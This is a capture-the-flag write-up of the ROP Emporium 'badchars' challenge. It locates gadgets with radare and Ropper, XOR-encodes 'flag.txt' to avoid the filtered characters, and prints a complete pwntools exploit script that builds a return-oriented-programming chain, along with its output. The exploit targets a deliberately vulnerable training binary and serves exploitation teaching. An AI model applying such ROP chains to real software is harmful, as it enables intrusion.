ROP Emporium Pt. 5: badchars

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing ROP Emporium is a collection of challenges designed to teach return-oriented programming (ROP) techniques by slowly introducing new concepts and increasing difficulty. If you're looking for a spoiler-free guide, check out the one included on their website. This challenges builds upon the last by adding in a set of bad characters that will halt the execution of our chain upon usage. The challenge hint suggests two possible ways of approaching this: 1. Avoiding the characters altogether or 2. Using an XOR function to alter our string in memory. badchars.html ─────────────────────────────────────────────────────────────────────────────── Think about how we're going to overcome the badchars issue; should we try to avoid them entirely, or could we use gadgets to change our string once it's in memory? ─────────────────────────────────────────────────────────────────────────────── We'll start by running the program once to allow it to print out the bad chars. ./badchars ────────────────────────────────── $ ./badchars badchars by ROP Emporium x86_64 badchars are: 'x', 'g', 'a', '.' > ────────────────────────────────── Like before, we have a print_file() function to which we'll need to pass our string 'flag.txt'. Unfortunately, that string contains not just one, but all of our bad chars. First, we'll use radare to locate that function. rabin2 ──────────────────────────────────────────────────── rabin2 -i ./badchars [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x00400500 GLOBAL FUNC pwnme 2 ---------- GLOBAL FUNC __libc_start_main 3 ---------- WEAK NOTYPE __gmon_start__ 4 0x00400510 GLOBAL FUNC print_file ──────────────────────────────────────────────────── We can then use Ropper to check if we have the gadgets to XOR our string. ropper ──────────────────────────────────────────────────── $ ropper -f ./badchars | grep xor [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% 0x0000000000400628: xor byte ptr [r15], r14b; ret; 0x0000000000400629: xor byte ptr [rdi], dh; ret; ──────────────────────────────────────────────────── Next, we'll find a gadget to pop r14 and r15, for the XOR function. ropper ──────────────────────────────────────────── $ ropper -f ./badchars | grep r14 0x00000000004006a0: pop r14; pop r15; ret; ──────────────────────────────────────────── And, gadgets to write our string. ropper ────────────────────────────────────────────────────────────── $ ropper -f ./badchars | grep r13 0x0000000000400634: mov qword ptr [r13], r12; ret; 0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; ────────────────────────────────────────────────────────────── And to pop rdi, to pass to the print_file() function. ropper ─────────────────────────────────── $ ropper -f ./badchars | grep rdi 0x00000000004006a3: pop rdi; ret; ─────────────────────────────────── Next, we'll find the address to write our string to. rabin2 ──────────────────────────────────────────────────────────────── $ rabin2 -S ./badchars | grep .data 23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data ──────────────────────────────────────────────────────────────── Now we'll write a function to do the inital XOR of our string in Python. Then our exploit will be something like: junk + pop_r12_r13_r14_r15 + flag + .data + 0 + 0 + mov_13_12 8 times (+ pop_r14_r15 + 2 + (.data + i)) + pop_rdi + .data + print_file() The XOR section needs to be iterated over each character of our string, since our string is 8 characters, we need 8 iterations. Starting from 1, the first key that results in none of the bad characters being used is 2, resulting in a string that looks like 'dnce,vcv', so that's what we will use for our XOR function. Cyberchef makes it easy to experiment with these values but to implement this in Python, it will look something like: exploit.py ─────────────────────────────────── def xorString(a): output = "" for i in a: output += chr(ord(i) ^ 2) return output ─────────────────────────────────── And, the full exploit: exploit.py ──────────────────────────────────────────────────── from pwn import * def xorString(a): output = b'' for i in a: output += bytes(chr(ord(i) ^ 2), 'utf-8') return output e = ELF('badchars') p = process(e.path) context(arch='amd64', os='linux', endian='little') junk = b'A' * 40 pop_r12_r13_r14_r15 = p64(0x40069c) flag = (xorString("flag.txt")) print(flag) data = 0x00601038 # 0x601028 mov_13_12 = p64(0x400634) pop_r14_r15 = p64(0x4006a0) xor_r14_r15 = p64(0x400628) pop_rdi = p64(0x4006a3) print_file = p64(0x400510) payload = junk payload += pop_r12_r13_r14_r15 payload += flag payload += p64(data) payload += p64(1) payload += p64(1) payload += mov_13_12 for i in range(8): payload += pop_r14_r15 payload += p64(2) payload += p64(data + i) payload += xor_r14_r15 payload += pop_rdi payload += p64(data) payload += print_file print(payload) p.sendline(payload) log.info(p.clean()) ──────────────────────────────────────────────────── For some reason when we run the exploit, it works for all but one character, the 'z' which fails to decode back into an 'x'. badchars ────────────────────────────────────── $ python3 ./exploit.py [*] badchars by ROP Emporium x86_64 badchars are: 'x', 'g', 'a', '.' > Thank you! Failed to open file: flag.tzt ────────────────────────────────────── But, if we modify the rw section that we are using, from .data to .bss, it functions as expected. badchars ────────────────────────────────────── $ python3 ./exploit.py [*] badchars by ROP Emporium x86_64 badchars are: 'x', 'g', 'a', '.' > Thank you! ROPE{a_placeholder_32byte_flag!} ──────────────────────────────────────